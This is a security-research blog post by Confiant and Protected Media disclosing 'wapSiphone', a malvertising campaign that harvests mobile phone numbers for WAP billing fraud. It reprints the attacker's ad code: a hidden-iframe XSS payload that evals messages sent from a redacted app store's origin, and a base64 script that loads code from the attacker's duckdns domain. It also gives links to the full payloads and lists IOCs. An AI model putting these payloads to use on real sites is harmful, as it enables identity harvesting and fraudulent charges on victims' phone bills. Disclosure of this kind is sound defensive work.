The following blog post is a collaborative disclosure between Confiant and Protected Media around a new malvertising threat actor that leverages media buys in order to collect the MSISDNs of their victims for further exploitation in a WAP billing scheme.

The Mobile Station International Subscriber Directory Number (MSISDN) is an international mobile phone identifier. These ID’s are harvested by the attacker using a a variety of techniques, including an XSS payload that specifically targets a mobile carrier based out of the United Arab Emirates. Iranian and Mexican carriers have observed to be abused by the attacker as well.

The lack of transparency has been a resounding critique of the WAP billing mechanism, but it’s an issue that deserves increased attention as a malvertising attack vector for several reasons:

Due to its zero-click nature these attacks are “silent” compared to obviously disruptive forced redirections and can fly under the radar for prolonged periods of time.
Victims don’t just include business at the corporate tier, but these attacks hit consumers in their pockets directly.

WAP Billing— A Brief Introduction

Wireless Application Protocol is a bit anachronistic in the context of modern mobile internet, especially now that mobile browsers have achieved parity with desktop browsers when it comes to support of HTML, JavaScript, and a tremendous amount of APIs.

For those that are interested in an overview of the technology, the Wikipedia page provides a great overview:

https://en.wikipedia.org/wiki/Wireless_Application_Protocol

Even though we have long passed the heyday of WAP in the mid 2000’s, the technology still remains supported and relevant in the context of some regional mobile carriers around the globe.

So how exactly do consumers make purchases in the non-HTTP mobile web? Wikipedia again provides a concise description that we couldn’t phrase better ourselves. Here’s their synopsis with some highlights that should get your security gears grinding:

WAP billing is a mechanism for consumers to buy content from WAP sites that is charged directly to their mobile phone bill. It is an alternative payment mechanism to debit or credit cards and premium SMS for billing. Using WAP billing, consumers can buy mobile content without registering for a service or entering a username or password. The user clicks on a link and agrees to make a purchase, after which they can download content.

The WAP billing workflow requires the provider to harvest the users MSISDN, which is typically available through a lookup service via the mobile carrier. This is then reconciled on the backend and then the charges appear directly on the consumer’s phone bill.

Historically, this flow required the consumer to load the provider’s site over WAP, but wapSiphone are able to exploit the fact that multiple carriers will make the MSISDN available over HTTP, either through headers or a lookup service. This enables the malvertiser to dispatch these lookup requests to the mobile carriers from within display ads in order to collect the victims’ MSISDN.

WAP billing has a well documented history of abuse:

WAP-billing Trojan-Clickers on rise

Payload 1 — MSISDN Harvesting Via APP Store XSS

The following payload, initially uncovered by Protected Media, was what spawned our investigation. The payload is completely unadulterated except for some redactions that were made to protect the identity of the impacted Emirati App Store that is being targeted with the XSS. In case you are wondering, yes the comments in this code were left by the attacker!

https://gist.githubusercontent.com/eliyastein/f3e8c9f979d72eedc47ac2f36d509dd4/raw/21a5493bd46bb8df7b901e967a648aca9d76d2bb/wapSiphone.payload.1.html

Let’s break down the code here in order to get a handle on how it works:

First, the attacker stages a message event listener:

window.addEventListener(’message’, function(event) {
  if(event.data[0] == ‘1’)
    ....
  if(event.data[0] == ‘2’)
  {
    ....

The event listener expects one of two messages, but we will come back to that in a little bit.

After establishing the event listener, an empty iframe is staged:

//create empty iframe
var ifrm = document.createElement(”iframe”);
ifrm.setAttribute(”width”,”1”);
ifrm.setAttribute(”height”,”1”);
ifrm.setAttribute(”style”,”display:none;”);
ifrm.setAttribute(”name”,”postiframe”);
ifrm.setAttribute(”id”,”postiframe”);
document.body.appendChild(ifrm);
window.chldIfrm = document.getElementById(”postiframe”).contentWindow;

Then a Form:

//create form element
var frm = document.createElement(”form”);
frm.setAttribute(”method”, “post”);
frm.setAttribute(”action”,”http://[REDACTED_APP_STORE]/XXX/verification.php?subscription=[REDACTED]&lang=en&x-action=subscribe”);
frm.setAttribute(”target”,”postiframe”); var cb = document.createElement(”input”);
cb.setAttribute(”type”, “text”);
cb.setAttribute(”name”, “callback”);
cb.setAttribute(”style”, “display:none;”);
cb.setAttribute(”value”, “\”><svg/onload=\”window.addEventListener(’message’, function(event) {eval(event.data);}, false);parent.postMessage(’1’,’*’);\”>”);

The form is then submitted:

frm.appendChild(cb);
document.body.appendChild(frm); //post form with xss to target iframe
frm.submit();

There are a few noteworthy things about this form:

The ‘target’ attribute of the form is is the staged iframe. This means the response will land in the attackers invisible frame, where it will be assigned an origin of http://[REDACTED_APP_STORE]
The ‘value’ attribute of the ‘input’ field of the form is an XSS payload that establishes an event listener that is ready to eval() all messages it receives. This stage of the payload is executed via a specially crafted SVG tag, which supports the ‘onload’ event.

When the XSS payload is deployed, the attacker’s iframe will load the vulnerable App Store’s page with attacker controlled payload embedded. In other words, wapSiphone will have successfully established a bi-directional channel between their ad code, and the affected app store’s origin:

The listener that sits under the App Store’s origin now eagerly awaits instructions from the ad payload to dispatch an MSISDN lookup request from the store’s origin. The results are sent back to the ad frame where they are exfiltrated back to wapSiphone’s endpoint.

Payload 2 — An Easier Way

After having analyzed the original XSS payload, we turned to our telemetry to analyze all the activity around wapSiphone’s exfiltration domain.

Our first observation is that their payloads are consistently invoked via base64 data URI. This technique is common among bad actors that don’t want their bad code to obviously stand out in an ad tag:

<script id=”rand=56eed011-0a9c-4320-82b0-ef4c6e5b1098&type=dn_lb_al&rid=461b609f-7234-3544-fbb5-f84835acddd4” src=”data:application/javascript;base64,dmFyIGlmcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpZnJtLnNldEF0dHJpYnV0ZSgnd2lkdGgnLCAnMScpO2lmcm0uc2V0QXR0cmlidXRlKCdoZWlnaHQnLCAnMScpO2lmcm0uc2V0QXR0cmlidXRlKCdzdHlsZScsICdkaXNwbGF5Om5vbmU7Ym9yZGVyOjA7Ym9yZGVyd2lkdGg6MDsnKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlmcm0pO2lmcm0uc2V0QXR0cmlidXRlKCdzcmMnLCAnaHR0cDovL2RvbWFpbmV4cGxvcmVyLmR1Y2tkbnMub3JnL3NjcmlwdHMvZDM3ZjljYmMtMWE1OC00MzM5LTgwMGQtZTc3OWJkNDMxMjBkIycgKyBkb2N1bWVudC5jdXJyZW50U2NyaXB0LmlkKTs=”></script>

Which results in a JavaScript that looks something like this:

var ifrm = document.createElement(’iframe’);
ifrm.setAttribute(’width’, ‘1’);
ifrm.setAttribute(’height’, ‘1’);
ifrm.setAttribute(’style’, ‘display:hidden;border:0;borderwidth:0;’);
document.body.appendChild(ifrm);
ifrm.setAttribute(’src’, ‘hxxp://domainexplorer.duckdns.org/scripts/61fdf525-504e-493e-a5ba-e90f2961b6fe#’ + document.currentScript.id);

This iframe will load the MSISDN harvesting code:

https://gist.githubusercontent.com/eliyastein/4c5a4267fd7d3d21cbee8226d88dd99a/raw/852bda5f98f758d1f4f41bbfdaeba7efb714aca1/wapSiphone.payload.2.html

Turns out that that some mobile providers have the MSISDN lookup service available via HTTP, with no CORS. In other words, victims that are surfing the web on a WAP enabled provider’s mobile network need only see the original wapSiphone display ad in order to have their ID harvested.

Scope

The primary entry points for wapSiphone are obscure platforms like RTBTradeIn and DecenterAds, which are favored by many malvertisers including the recently notorious FizzCore.

From there, the campaigns are primarily syndicated through mobile ad serving platforms where they run in mobile apps whose user base are situated in regions coveted by the attacker: UAE, Iran, and Mexico.

Mobile Carriers Targeted

Alfa (Orascom Telecom)

GB Mobile (Mexico)

Iran (specific carrier unknown)

IOCs

domainexplorer[.]duckdns[.]org

in[.]digitalverification[.]xyz

Protected Media provides anti ad fraud solutions around Display, Video, and Connected TV.

Confiant is a cybersecurity company that specializes in the detection, blocking, and tracking of emerging malvertising threats.

Confiant & Protected Media Uncover Mobile…